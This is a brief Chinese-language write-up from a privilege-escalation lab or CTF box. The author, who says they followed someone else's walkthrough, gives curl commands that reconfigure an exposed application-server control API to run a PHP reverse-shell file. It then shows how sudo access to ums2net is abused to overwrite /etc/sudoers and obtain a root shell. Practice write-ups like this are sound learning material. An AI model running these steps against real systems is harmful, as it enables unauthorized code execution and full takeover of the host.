提权-1

//后面的差不多是几乎没看懂，只能先看大佬WP复刻一下

curl -X PUT -d '{"app":{"type":"php","root":"/tmp","script":"rev.php"}}' http://192.168.124.21:9000/config/applications

curl -X PUT -d '[{"action":{"share":"/tmp/rev.php$uri","fallback":{"pass":"applications/app"}}}]' http://192.168.124.21:9000/config/routes

curl -X PUT -d '{"*:8888":{"pass":"routes"}}' http://192.168.124.21:9000/config/listeners

之后再去访问

看了一下思路大概就是利用ums2net写入文件/etc/sudoers

ice ALL=(ALL) NOPASSWD: ALL

Pasted image 20250202110137.png

echo "8080 of=/etc/sudoers" > /tmp/config

sudo /usr/sbin/ums2net -c /tmp/config -d

现在ice用户权限就增加了

sudo bash

就有root权限了

小结

这个靶场对我来说还是太难了，全程就是看着大佬的WP做下来的
在两次提权阶段所应用的技术都是我第一次接触
对于SMB服务我也是非常不熟悉
总之，还得练
